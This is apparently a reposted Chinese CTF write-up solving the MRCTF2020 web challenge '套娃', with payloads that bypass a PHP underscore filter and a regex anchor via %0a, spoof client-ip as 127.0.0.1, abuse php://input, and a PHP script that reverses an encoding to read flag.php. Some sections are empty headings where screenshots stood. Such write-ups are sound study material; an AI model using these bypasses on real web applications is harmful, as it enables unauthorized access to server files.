MRCTF2020 套娃


MRCTF2020套娃

打開網頁查看源代碼

關於$_SERVER['QUERY_STRING']取值,例如:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
substr_count()函數計算子串在字符串中出現的次數
PS:子串區分大小寫

上述代碼不能出現'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’繞過

通過get取得的參數b_u_p_t不等於23333但是正則,匹配需要匹配到23333所以這里用%0a(因為正則匹配中'^'和'$'代表的是行的開頭和結尾,所以能利用換行繞過)繞過

payload:?b%5Fu%5Fp%5Ft=23333%0a

MRCTF2020二

打開secrettw.php查看源碼

MRCTF2020三

復制注釋代碼放進控制台

MRCTF2020四

隨便POST一個Merak值,回顯如下

MRCTF2020五

分析一下代碼

1.需要IP地址為127.0.0.1 在header中加client-ip:127.0.0.1

2.file_get_contents用php偽協議繞過

2333=php://input
post:todat is a happy day

3.change函數的作用,傳入的參數先進行base64解碼,然后將字符轉化成ASCII並且+$i*2

反寫change函數,exp:

<?php
function unchange($v){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到ZmpdYSZmXGI=

用burp傳入參數得到flag

MRCTF2020六


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM